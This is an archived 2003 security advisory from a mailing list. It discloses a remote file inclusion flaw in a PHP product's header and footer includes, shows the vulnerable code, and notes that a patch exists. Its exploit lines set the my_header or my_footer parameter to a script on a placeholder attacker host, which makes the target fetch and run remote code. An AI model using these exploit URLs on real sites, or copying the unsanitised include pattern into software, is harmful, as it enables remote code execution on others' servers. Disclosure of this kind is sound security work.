OSEC

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From: Frog Man (leseulfrog_at_hotmail.com)
Date: Sun Feb 16 2003 - 11:06:15 CST

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    Informations :
    °°°°°°°°°°°°°°
    Website : http://www.adalis.fr/adalis.html
    Versions : 1.00 -> 1.11
    Problem : Include file

    PHP Code/Location :
    °°°°°°°°°°°°°°°°°°°

    /includes/header.php3 :
    ---------------------------
    <?php
    if ($my_header!="")
    {
         include ($my_header);
    } else {
         ?>
    ...
    --------------------------

    /includes/footer.php3 :
    ---------------------------
    ...
    if ($my_footer!="")
    {
         include ($my_footer);
    } else {
    ?>
    ...
    ---------------------------

    Exploits :
    °°°°°°°°°°
    http://[target]/includes/footer.php3?my_footer=http://[attacker]/script.txt
    or
    http://[target]/includes/header.php3?my_header=http://[attacker]/script.txt
    with
    http://[attacker]/script.txt

    Patch :
    °°°°°°°
    A patch can be found on http://www.phpsecure.info .

    More details :
    °°°°°°°°°°°°°°
    (in French) http://www.frog-man.org/tutos/5holes8.txt

    frog-mn

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